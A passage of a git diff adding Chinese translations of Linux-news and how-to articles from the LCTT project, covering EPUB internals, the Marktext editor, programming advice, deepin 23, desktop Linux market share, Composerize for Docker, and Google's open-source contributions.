EPUB 文件是使用开放格式发布内容的好方法。 + +电子书提供了一种随时随地阅读书籍、杂志和其他内容的好方法。读者可以在长途飞行和乘坐火车时享受电子书打发时间。最流行的电子书文件格式是 EPUB 文件,它是“电子出版物electronic publication”的缩写。 EPUB 文件受到各种电子阅读器的支持,并且是当今电子书出版的有效标准。 + +EPUB 文件格式基于 XHTML 内容和 XML 元数据的开放标准,包含在 zip 存档中。由于一切都基于开放标准,我们可以使用通用工具来创建或检查 EPUB 文件。让我们探索一个 EPUB 文件以了解更多信息。《[C 编程技巧和窍门指南][2]》,于今年早些时候在 Opensource.com 上发布,提供 PDF 或 EPUB 格式。 + +因为 EPUB 文件是放在 zip 文件中的 XHTML 内容和 XML 元数据,所以你可以用 `unzip` 命令在命令行检查 EPUB: + +``` +$ unzip -l osdc_Jim-Hall_C-Programming-Tips.epub +Archive: osdc_Jim-Hall_C-Programming-Tips.epub +Length Date Time Name +--------- ---------- ----- ---- +20 06-23-2022 00:20 mimetype +8259 06-23-2022 00:20 OEBPS/styles/stylesheet.css +1659 06-23-2022 00:20 OEBPS/toc.xhtml +4460 06-23-2022 00:20 OEBPS/content.opf +44157 06-23-2022 00:20 OEBPS/sections/section0018.xhtml +1242 06-23-2022 00:20 OEBPS/sections/section0002.xhtml +22429 06-23-2022 00:20 OEBPS/sections/section0008.xhtml +[...] +9628 06-23-2022 00:20 OEBPS/sections/section0016.xhtml +748 06-23-2022 00:20 OEBPS/sections/section0001.xhtml +3370 06-23-2022 00:20 OEBPS/toc.ncx +8308 06-23-2022 00:21 OEBPS/images/image0011.png +6598 06-23-2022 00:21 OEBPS/images/image0009.png +[...] +14492 06-23-2022 00:21 OEBPS/images/image0005.png +239 06-23-2022 00:20 META-INF/container.xml +--------- ------- +959201 41 files +``` + +这个 EPUB 包含很多文件,但其中大部分是内容。要了解 EPUB 文件是如何组合在一起的,请遵循电子书阅读器的流程: + +1、电子书阅读器需要验证 EPUB 文件是否真的是 EPUB 文件。他们通过检查 EPUB 存档根目录中的 `mimetype` 文件来验证文件。该文件仅包含一行描述 EPUB 文件的 MIME 类型: + +``` +application/epub+zip +``` + +2、为了定位内容,电子书阅读器从 `META-INF/container.xml` 文件开始。这是一个简短的 XML 文档,指示在哪里可以找到内容。对于此 EPUB 文件,`container.xml` 文件如下所示: + +``` + + + + + + +``` + +为了使 `container.xml` 文件更易于阅读,我将单行拆分为多行,并添加了一些间距来缩进每行。XML 文件并不关心新行和空格等额外的空白,因此这种额外的间距不会影响 XML 文件。 + +3、`container.xml` 文件表示 EPUB 的根从 `OEBPS` 目录中的 `content.opf` 文件开始。OPF 扩展名是因为 EPUB 基于 “开放打包格式Open Packaging Format”,但 `content.opf` 文件实际上只是另一个 XML 文件。 + +4、`content.opf` 文件包含一个完整的 EPUB 内容清单,以及一个有序的目录,以及查找每一章或每一节的引用。这个 EPUB 的 `content.opf` 文件很长,因此我将在此仅展示一小部分作为示例。 + +XML 数据包含在 `` 块中,该块本身具有 `` 块、`` 数据和包含电子书目录的 `` 块: + +``` + + + + osdc002 + Tips and Tricks for C Programming + Jim Hall + English + 2022-06-23T12:09:13Z + + + + ... + + + + + ... + + + + + + ... + + +``` + +你可以把数据匹配起来,看看在哪里可以找到每个部分。EPUB 阅读器就是这样做的。例如,目录中的第一项引用了 `section0001`,它在清单中被定义为位于 `sections/section0001.xhtml` 文件中。该文件的名称不需要与 `idref` 条目相同,但 LibreOffice Writer 的自动程序就是这样创建该文件的。(你可以在元数据中看到,这个 EPUB 是在 Linux 上用 LibreOffice 7.3.0.3 版本创建的,它可以将内容导出为 EPUB 文件。) + +### EPUB 格式 + +EPUB 文件是一种使用开放格式发布内容的好方法。EPUB 文件格式是 XML 元数据与 XHTML 内容,包含在一个 zip 文件内。虽然大多数技术作家使用工具来创建 EPUB 文件,因为 EPUB 是基于开放标准,意味着你可以使用其他方式创建自己的 EPUB 文件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/epub-file + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/find-file-linux-code_magnifying_glass_zero.png +[2]: https://opensource.com/downloads/guide-c-programming diff --git a/published/202208/20220816 Marktext is an Excellent Editor Even for Those Who Don-t Know Markdown.md b/published/202208/20220816 Marktext is an Excellent Editor Even for Those Who Don-t Know Markdown.md new file mode 100644 index 0000000000..a2033dd727 --- /dev/null +++ b/published/202208/20220816 Marktext is an Excellent Editor Even for Those Who Don-t Know Markdown.md @@ -0,0 +1,135 @@ +[#]: subject: "Marktext is an Excellent Editor Even for Those Who Don’t Know Markdown" +[#]: via: "https://itsfoss.com/marktext-editor/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "Chth0lly" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14986-1.html" + +即使对那些不知道 Markdown 的人来说,Marktext 也是一个绝佳的编辑器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/31/170837f0kx77ewii4hkih0.jpg) + +又一个 Markdown 编辑器?我们见的 Markdown 编辑器还少吗? + +我明白你的感受,如果你是个 Markdown 爱好者,你可能已经用过很多 Markdown 编辑器了,比如 [Joplin][1] 和 [Zettlr][2]。但如果你不是的话,你可能根本就不在乎。 + +Markdown 是一个非常好的标记语言,特别是对那些在网络上写作的人来说。我不想在这里讲太多细节,但如果你有兴趣的话,我们有一篇 [非常棒的 Markdown 初学者教程][3]。 + +这次我想推荐给你(另一个)Markdown 编辑器,它叫 [Marktext][4],并且它是用 Electron 制作的(我们都明白这什么意思,先别急着埋怨我)。 + +我发现这将是一个很完美的编辑器。它很漂亮,而它运行起来也一样棒。下面是我这几天来的使用体验。 + +### Marktext: 人人可用的 Markdown 编辑器 + +尽管我很讨厌 [Electron 框架][5],但不得不承认基于 Electron 的应用都有一个干净、现代的界面。 + +![Marktext interface][6] + +我更喜欢深色模式主题,除此之外官方还提供了五种其它主题。 + +![Marktext dark theme][7] + +打开软件你就可以立刻进行写作,如果你不记得某个语法了,那也没有问题,输入 `@` 就可以得到语法提示,如: + +* 标题 +* 分隔线 +* 表格 +* Latex 数学公式 +* HTML 块 +* 代码块 +* 引用 +* 列表 +* 检查清单 +* 用 Vega-lite.js、Flowchart.js、js-sequence-diagrams 和 PlantUML 制作的图表 + +![Use various document elements in the editor by pressing @][8] + +选中文本你会得到一个格式选项框,来改变文本为粗体、斜体、下划线、删除线等。你也可以用黄色背景高亮文本、转换为内联代码、内联公式或插入超链接。 + +![Text formatting options][9] + +Marktext 也支持图片。我们都知道图片不是 Markdown 文件的一部分,它们是外部元素,但是你可以选择将图片保存到 .md 文件所在的目录下。 + +![Images are supported too][10] + +通过插入菜单来添加图片非常容易。你可以选择文本并且从弹出的格式选项中选择图片来添加,或使用 `Ctrl+Shift+I` 快捷键。但是不能为图片添加替换文本或图片说明,这点确实需要改进。 + +我喜欢 Marktext 的表格功能。你可以直接插入预先定义好大小的图表。如有需要,还可以很容易的改变大小。你可以只用鼠标移动列和行,而不用担心底层的代码。 + +![Tables are very well supported in Marktext][11] + +你可以启用侧边栏视图。侧边栏有三个功能:你可以打开包含多个 Markdown 文件的文件夹,在打开的文件夹中的所有文件上执行全局搜索,并显示当前打开的文件的大纲目录。大纲目录是根据子标题自动生成的。 + +![Sidebar view has three options: Show folder content, global search and table of content][12] + +底部的齿轮按钮是设置功能。你可以改变主题、改变图片设置、视图、开启自动保存等等。 + +![Configuration and settings][13] + +### 如何安装 Marktext + +Marktext 是一个跨平台的开源应用程序。所以不止在 Linux 上,你还可以在 Windows 和 macOS 安装。 + +在 Linux 上,你可以选择 AppImage 软件包或 Flatpak 软件包。从 [这里][14] 可以得到 Marktext 的 Appimage 软件包。 + +我选择了 Flatpak 版本,因为这样可以获得更好的系统集成。它运行良好,Marktext 自动成为我的 Ubuntu 22.04 系统上 .md 文件的默认编辑器。 + +请确保你启用了 Flatpak 支持,之后用以下方法添加上 Flathub 仓库: + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +在这之后,用以下命令安装 Marktext 到你的系统上: + +``` +flatpak install flathub com.github.marktext.marktext +``` + +如果用了一段时间后你不喜欢 Marktext,可以用以下命令卸载: + +``` +fkatpak uninstall com.github.marktext.marktext +``` + +### 总结 + +Marktext 有很多小功能,例如字数统计、Latex 数学公式、拼写检查器、复制粘贴为 Markdown/HTML 格式,我留给你们自己去尝试。 + +实话实说,尽管多年来一直使用 Markdown 来写文章,但我也总会忘掉一些语法。我能记得常见的标题、列表、代码块等,但如果我必须创建一个表格,我不得不在网上搜索。 + +我已经 [尝试了许多 Markdown 编辑器][15],这其中确实有很多不错的。但是,我还是喜欢用 Marktext,它会在我的系统上存在很长时间。 + +如果你已经用过了话,请在评论区分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/marktext-editor/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[Chth0lly](https://github.com/Chth0lly) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/joplin/ +[2]: https://itsfoss.com/zettlr-markdown-editor/ +[3]: https://itsfoss.com/markdown-guide/ +[4]: https://github.com/marktext/marktext/ +[5]: https://www.electronjs.org/ +[6]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-interface.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-dark-theme.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-insert-options.png +[9]: https://itsfoss.com/wp-content/uploads/2022/08/text-formatting-options-marktext.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/images-in-marktext.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/tables-in-marktext.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/sidebar-view-marktext.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-settings.png +[14]: https://github.com/marktext/marktext/releases +[15]: https://itsfoss.com/best-markdown-editors-linux/ diff --git a/published/202208/20220816 My practical advice for new programmers.md b/published/202208/20220816 My practical advice for new programmers.md new file mode 100644 index 0000000000..30859c390a --- /dev/null +++ b/published/202208/20220816 My practical advice for new programmers.md @@ -0,0 +1,72 @@ +[#]: subject: "My practical advice for new programmers" +[#]: via: "https://opensource.com/article/22/8/coding-advice-new-programmers" +[#]: author: "Sachin Samal https://opensource.com/users/sacsam005" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14952-1.html" + +我给新手程序员的实用建议 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/21/161450vm33z0ex30w4073z.jpg) + +> 做一个高效的、充满好奇心的问题解决者吧!这会帮助你成为一名成功的程序员。 + +你是否曾经遇到过这样一种情况:你想解决一个问题,并且你在 YouTube 或 Google 中找到了相关的教程。嗯,你觉得看会了,可真做起来,却止步不前,大脑一片空白。你感觉自己每一行代码都看懂了,可一旦离开了那个教程,就步履维艰。如果你在 HackerRank 或 LeetCode 上看过别人的解题过程,你就能体会到,一个有追求的程序员第一次看到这些挑战时,他会是何种感受。举例来说,假设你正在学习一门新语言,在你刚开始理解这门语言的基础知识的时候,你看了一个教程,摩拳擦掌,结果发现自己无法独立应用学到的知识,这反过来可能会导致你怀疑自己的知识和能力。 + +### 把教程付诸于实践 + +你应该从头开始吗?如果你这么做,你可能很快就会发现自己重复学习了很多次相同的知识点。虽然从头开始并不一定是种浪费,但是,你该如何变得更高效呢? + +死记硬背在编程中完全是行不通的。话虽如此,但你也不能够忽视熟悉语法的重要性。因为,死记硬背和养成习惯之间是有明显区别的。习惯是很难打破的。要养成多使用编程语言的常规语法、函数、方法、模式、范式和构造的习惯,这样你才能掌握它。掌握一门编程语言需要大量的创造力和练习。练习语法是非常必要的,直到它们能在你的脑海中自然地浮现,就像血液在血管里流动一样。 + +### “问题解决”的工作原理 + +那么,你该采取什么样的方案呢?这实际上取决于许多因素。这些因素可以是任何东西,下至技术限制,上至用户需要。世界上有无数的问题,每个问题都有许多解决方式。如何选择一个最好的?这就需要“问题解决”problem-solving的技巧了。 + +下面是一个简单的例子。你需要把两个数**相加**,让它们等于 **6**。显然,你有多种方式可供选择: + +**3 + 3 = 6** 或 **4 + 2 = 6** 或 **5 + 1 = 6** + +同理,如果你需要让两个数字,经过一次减法、乘法或除法运算后,得到的结果为 **6**。你仍然有很多选项,包括: + +**8 - 2 = 6** 或 **12 / 2 = 6** 或 **3 * 2 = 6** + +每种方案都有它固有的限制,且各不相同。当你在现实生活中尝试做出一个高效的方案时,你必须要考虑到所有的限制。这个方案可行吗?有什么障碍吗?有可操作性吗?是否可扩展呢?而如何最小化约束,并做出一个最优方案,就取决于问题类型和业务需要。 + +### 练习很重要 + +编程的目标不仅仅是解决问题。因此,从工程视角理解代码**如何**工作始终是一个优势。这就是代码审查在企业级开发中发挥作用的地方。编程的最低要求是具备基本的编码知识,包括语言的语法、函数和方法。归根结底,“写代码”是需要你去**写**的,所以练习总是有助于提高你的技能。流畅的写作和复杂方案的开发都来自于持续的学习和训练。 + +### 学习编码 + +我撰写和分享这篇文章,是为了鼓励新程序员去探寻自己的内心,寻找那个“优秀的问题解决者”。请不要停止相信自己。 + +要成功编码,你需要培养许多习惯。下面是我在学习编码时保持高效的方法: + +1. 一个包含语法、方法和函数 [速查手册][1] 总能应付不时之需。 +2. 将问题分解成更小的部分,便于追踪。 +3. 尝试理解代码运行的核心概念。 +4. 构思解决方案时,大可发挥你的创造力 —— 但刚开始还是要注重基础。 +5. 在练习时,创建尽可能多的应用和组件。 +6. 永远不要从 Stack Overflow/Exchange 等开放平台上复制/粘贴代码,特别是在不了解上下文的情况下。 +7. 跟着教程做了一遍后,尝试从头开始构建所有内容。即使你只能独立完成一半,那也仍然是一个成就。 + +祝我们所有人好运! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/coding-advice-new-programmers + +作者:[Sachin Samal][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sacsam005 +[b]: https://github.com/lkxed +[1]: https://opensource.com/downloads/cheat-sheets diff --git a/published/202208/20220817 Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!.md b/published/202208/20220817 Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!.md new file mode 100644 index 0000000000..aeb4d4a4ca --- /dev/null +++ b/published/202208/20220817 Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!.md @@ -0,0 +1,101 @@ +[#]: subject: "Deepin 23 is Introducing a New Package Format and Repository, Sounds Interesting!" +[#]: via: "https://news.itsfoss.com/deepin-23/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14948-1.html" + +deepin 23 将引入新的软件包格式和存储库 +====== + +> deepin 23 将是一个有趣的升级,有几个基本的变化。 + +![deepin 23][1] + +deepin 仍然是目前最 [漂亮的 Linux 发行版][2] 之一。 + +虽然整个用户体验可能不是毫无痛点的,但它还是看起来不错的。deepin 的开发者尝试了一些引人关注的定制,以使它从人群中脱颖而出。 + +如果你是第一次了解它,你应该知道它是 [基于 Debian Linux 的有趣发行版][3] 之一。 + +随着 [deepin 20][4] 和它最近的小版本发布,他们推出了一系列不错的升级。现在,看起来deepin 23 将是下一个主要的升级。 + +### deepin 23 预览版中的新内容 + +![deepin 23][5] + +deepin 23 预览版已经可以进行测试。与之前的版本不同,deepin 23 包括一些基本的升级,在多个层面上影响用户体验。 + +主要的亮点包括: + +* 一个新的软件包格式。 +* 一个新的系统更新的构想。 +* 一个新的资源库。 +* 新的墙纸。 +* [Linux 内核 5.18][6]。 + +### 新的软件包格式:玲珑 + +![][7] + +**玲珑** 是 deepin 开发的新软件包格式。 + +它的目的是解决 Linux 下传统软件包格式的复杂依赖性所造成的各种兼容性问题。此外,通过支持沙盒以及增量更新和隐私保护来减少安全风险。 + +截至目前,你可以在其 [玲珑商店][8] 上找到这些软件包。 + +我们需要另一种软件包格式吗?我不这么认为。 + +有了 Flatpak 和 Snap 的存在,它听起来并不像以前没有的新东西。 + +对我来说,看起来 deepin 只是想拥有自己的软件包格式作为其产品的一部分。 + +### 原子式更新 + +系统更新将被视为原子操作,也就是说,当软件包被成功安装后,更新就完成了。如果安装失败,系统可以恢复到以前的版本,没有任何变化。 + +因此,你在升级后可以得到系统回滚的支持,并可以避免部分升级的困难。 + +### 独立的上游 + +虽然它是基于 Debian 的,但 deepin 的目标是为核心软件包和一些可选组件建立一个独立的仓库。 + +对于预览版,开发者提到,他们打算从上游如 Debian 和 Arch Linux 中学习,以改进他们的仓库。 + +### 新的墙纸 + +![deepin 23][9] + +像其他主要版本一样,deepin 23 增加了一些令人耳目一新的壁纸和新的默认壁纸。 + +### 下载 deepin 23 预览 + +请注意,deepin 23稳定版还没有上市。因此,如果你想在你的测试系统上进行实验,并体验一下,请尝试预览版。 + +你可以在 [官方公告][10] 中找到 ISO 文件的下载链接。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/deepin-23/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/wordpress/2022/08/deepin-23-release.jpg +[2]: https://itsfoss.com/beautiful-linux-distributions/ +[3]: https://itsfoss.com/debian-based-distros/ +[4]: https://itsfoss.com/deepin-20-review/ +[5]: https://news.itsfoss.com/content/images/wordpress/2022/08/deepin-23-preview-screenshot.jpg +[6]: https://news.itsfoss.com/linux-kernel-5-18-release/ +[7]: https://news.itsfoss.com/content/images/wordpress/2022/08/deepin-23-linglong.png +[8]: https://store.linglong.dev/ +[9]: https://news.itsfoss.com/content/images/wordpress/2022/08/deepin-23-wallpapers-preview.jpg +[10]: https://www.deepin.org/en/linux-system-distribution-deepin-23-preview-released/ diff --git a/published/202208/20220817 Desktop Linux Market Share- August 2022.md b/published/202208/20220817 Desktop Linux Market Share- August 2022.md new file mode 100644 index 0000000000..749517b4cc --- /dev/null +++ b/published/202208/20220817 Desktop Linux Market Share- August 2022.md @@ -0,0 +1,71 @@ +[#]: subject: "Desktop Linux Market Share: August 2022" +[#]: via: "https://itsfoss.com/linux-market-share/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14954-1.html" + +桌面 Linux 市场份额(2022 年 7 月) +====== + +每年,我们都会讨论 Linux 桌面年。当我们看到操作系统在消费者领域的市场份额有所增加时,却知道是无望的。 + +![linux desktop market share][1] + +当然,Linux 主导着整个云行业(Web 托管、云计算、数据仓库等)。在这里,我们只关注桌面 Linux 的市场份额。 + +**如果你是 Linux 世界的新手**,可能不知道,Linux 不是一个操作系统,它是一个内核。但是,为了简单起见,我们倾向于将 “Linux” 称为操作系统。你可以在我们的解释文章中了解 [Linux 是什么][2]。 + +有朝一日,我们希望 Linux 发行版在未来的桌面操作市场份额中占据主导地位。但是,当前的趋势说明了什么?现在是 Linux 桌面年了吗? + +趋势每个月都在变化。去年,与今年相比,Linux 可能市场份额更多一些。因此,跟踪最新报告至关重要。 + +在这里,我们试图以来自不同来源的每月更新报告的形式跟踪最新趋势。 + +### 操作系统市场份额:2022 年 7 月 + +> 我们每个月都会更新可用信息。请注意,上个月的信息将在下个月发布。因此,例如,当我们在 8 月份更新报告时,它将包括 7 月份的统计数据。 + +在可用的桌面操作系统(Windows、macOS 和 Chrome OS)中,Linux 通常倾向于占据**第三位**。 + +一些最新的统计数据包括: + +| 报告 | 备注 | Linux | macOS | Windows | +| -- | -- | -- | -- | -- | +| [Net Marketshare][3] | | 1.68% | 6.09% | 91.40% | +| [Statcounter][4] | | 2.76% | 14.51% | 75.21% | +| [W3Schools][5] | 最后更新于 2022 年 5 月 | 4.2% | 9.2% | 70% | +| [Steam 调查][6] | 在桌面游戏方面 | 1.23% | 1.74% | 97.03% | +| [Statista][7] | 最后更新于 2022 年 6 月 | 2.42% | 14.64% | 76.33% | + +另外,参与 [Stack Overflow 调查][8] 的开发者中,40.23% 的用户将基于 Linux 的操作系统用于个人用途,39.89% 的用户将其用于专业用途。 + +每个来源都使用不同的数据收集方法。市场份额不断变化,这就是为什么我们决定定期更新此报告,而不是单独发布关于市场份额微小变化的帖子。 + +**总体而言**,看起来 Linux 作为桌面操作系统在开发人员中很受欢迎,并最终影响游戏玩家和其他消费者作为替代操作系统。 + +*你对这种趋势有何看法?你认为 Linux 会在桌面市场份额方面超过 macOS 吗?在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-market-share/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2017/09/linux-desktop-market-share.jpg +[2]: https://itsfoss.com/what-is-linux/ +[3]: https://www.netmarketshare.com/operating-system-market-share.aspx?options=%7B%22filter%22%3A%7B%22%24and%22%3A%5B%7B%22deviceType%22%3A%7B%22%24in%22%3A%5B%22Desktop%2Flaptop%22%5D%7D%7D%5D%7D%2C%22dateLabel%22%3A%22Custom%22%2C%22attributes%22%3A%22share%22%2C%22group%22%3A%22platform%22%2C%22sort%22%3A%7B%22share%22%3A-1%7D%2C%22id%22%3A%22platformsDesktop%22%2C%22dateInterval%22%3A%22Monthly%22%2C%22dateStart%22%3A%222021-12%22%2C%22dateEnd%22%3A%222022-07%22%2C%22segments%22%3A%22-1000%22%7D +[4]: https://gs.statcounter.com/os-market-share/desktop/worldwide +[5]: https://www.w3schools.com/browsers/browsers_os.asp +[6]: https://store.steampowered.com/hwsurvey/Steam-Hardware-Software-Survey-Welcome-to-Steam?platform=linux +[7]: https://www.statista.com/statistics/218089/global-market-share-of-windows-7/ +[8]: https://survey.stackoverflow.co/2022/#technology-most-popular-technologies diff --git a/published/202208/20220818 Convert Docker Run Commands Into Docker-Compose Files.md b/published/202208/20220818 Convert Docker Run Commands Into Docker-Compose Files.md new file mode 100644 index 0000000000..939f23e1cc --- /dev/null +++ b/published/202208/20220818 Convert Docker Run Commands Into Docker-Compose Files.md @@ -0,0 +1,114 @@ +[#]: subject: "Convert Docker Run Commands Into Docker-Compose Files" +[#]: via: "https://ostechnix.com/convert-docker-run-commands-into-docker-compose-files/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14970-1.html" + +将 Docker 命令转化为 Docker Compose 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/27/150501vw3eqx2xkexemmkc.jpg) + +> 使用 Composerize 从 `docker run` 命令创建 Docker Compose 文件 + +如果你每天在正式或个人系统中使用 Docker,你应该知道有一个有用的应用叫 **Composerize**。在这个简短的指南中,我们将了解什么是 Composerize,以及如何使用 Composerize 在 Linux 中**将 `docker run` 命令转换为 Docker Compose 文件**格式。 + +### 什么是 Composerize? + +[Docker Compose][1] 是一个用于定义和运行多容器 Docker 应用的工具。Docker Compose 只是一个 YAML 文件,我们在其中为 Docker 应用定义服务、网络和卷。 + +不是每个人都擅长写高效的 Docker Compose 文件。你们中的一些人可能会发现,甚至写一个简单的 Docker Compose 文件都很困难。不用担心! 看下 Composerize,它可以帮助你从 `docker run` 命令中创建 Docker Compose 文件。 + +Composerize 是一个命令行和基于网络的工具,可以将 `docker run` 命令转换成 Docker Compose 文件。 + +无论 `docker run` 命令是简单、简短还是冗长、复杂,都没有关系。你所要做的就是把命令传给 Conposerize。Composerize 会立即将 `docker run` 命令变成 Docker Compose 文件! + +### 在 Linux 中安装 Composerize + +Composerize 是作为一个网络服务提供的。所以你不需要在你的系统上安装它。如果你因为任何原因想在本地安装它,请继续阅读。 + +Composerize 可以用 npm 安装。确保你的系统中已经安装了 Nodejs。如果没有安装,请按照下面的链接来安装 Nodejs。 + +* **[如何在 Linux 上安装 NodeJS][2]** + +安装完 Nodejs 后,运行以下命令来安装 Composerize: + +``` +$ npm install composerize +``` + +该命令将只为当前用户安装 Composerize。 + +如果你想在全局(全系统)安装它,请运行上述命令并加上 `-g` 选项,如下所示。 + +``` +$ npm install composerize -g +``` + +### 用 Composerize 将 Docker 命令转换为 Docker Compose 文件 + +要将 `docker run` 命令转换为 Docker Compose 格式,只需用 Composerize 运行它,如下所示: + +``` +$ composerize docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer +``` + +它将以 Docker Compose 文件格式生成内容。 + +示例输出: + +``` +version: '3.3' +services: + portainer: + ports: + - '9000:9000' + volumes: + - '/var/run/docker.sock:/var/run/docker.sock' + image: portainer/portainer +``` + +![Convert Docker Run Commands Into Docker-Compose Files With Composerize][3] + +现在在你的 `docker-compose.yml` 文件中复制上面几行。就这么简单! + +正如我所说,你也可以使用 Composerize 网络服务将 `docker run` 命令转换成 Docker Compose 格式。 + +进入 [https://www.composerize.com/][4],将 `docker run` 命令粘贴到框中,你就会立即得到 `docker-compose.yml` 文件! + +![Turn Docker Run Commands Into Docker-compose Files Using Composerize][5] + +将命令转换为 Docker Compose 文件后,到你保存 `docker-compose.yml` 文件的位置,运行以下命令来启动 Docker 应用: + +``` +$ docker-compose up +``` + +Composerize 是对 Docker 用户有用的工具之一。你现在可以安全地告别漫无边际的 Docker 命令了。 + +资源: + +* [Composerize GitHub 仓库][6] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/convert-docker-run-commands-into-docker-compose-files/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/introduction-to-docker-compose/ +[2]: https://ostechnix.com/install-node-js-linux/ +[3]: https://ostechnix.com/wp-content/uploads/2022/08/Convert-Docker-Run-Commands-Into-Docker-Compose-Files-With-Composerize.png +[4]: https://www.composerize.com/ +[5]: https://ostechnix.com/wp-content/uploads/2022/08/Turn-Docker-Run-Commands-Into-Docker-compose-Files-Using-Composerize.png +[6]: https://github.com/magicmark/composerize diff --git a/published/202208/20220818 Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study.md b/published/202208/20220818 Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study.md new file mode 100644 index 0000000000..2efaee83ce --- /dev/null +++ b/published/202208/20220818 Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study.md @@ -0,0 +1,39 @@ +[#]: subject: "Google Surpasses Microsoft In Terms Of Open Source Contributors, Says A Study" +[#]: via: "https://www.opensourceforu.com/2022/08/google-surpasses-microsoft-in-terms-of-open-source-contributors-says-a-study/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14955-1.html" + +一项研究显示,谷歌在开源贡献方面超过了微软 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/08/coding-new-1536x864.jpg) + +> 根据 Aiven 的一份新报告,谷歌已经提高了其对开源软件的投入,并在活跃贡献者方面超过了微软。 + +根据 Aiven 的报告(LCTT 译注:我没有找到这份报告),谷歌目前的活跃贡献者多于微软,这要归功于对开源代码库 GitHub 的每月提交量同比增长 20%。根据开源贡献者指数(OCSI)的数据,谷歌 7 月份有 5421 名活跃贡献者,而微软的活跃贡献者为 5268 名。 + +Aiven 联合创始人兼首席技术官 Heikki Nousiainen 说,谷歌超过微软“特别令人惊讶”。 + +“这其中的一个因素是微软对开源项目的提交逐年下降,”Nousiainen 说,“然而,微软对开发者自由和创新的投入是一致的,该公司是开源的主要参与者,甚至在 2018 年收购了 GitHub。” + +Aiven 指出,亚马逊已经开始更加重视开源计划,其对 OpenSearch(ElasticSearch 的复刻)的支持以及 GitHub 上项目数量的增加就是证明。Nousiainen 认为,亚马逊对 OpenSearch 和 ElasticSearch 的支持代表了“该公司方向的重大改变”,以及对重大开源项目掌舵的愿望。据 Aiven 介绍,这些科技巨头正在迅速扩大对开源软件的使用。根据数据,现在来自亚马逊、微软和谷歌的活跃 GitHub 贡献者比六年前多了 300%。 + +“这项研究的总体信息是积极的,”Nousiainen 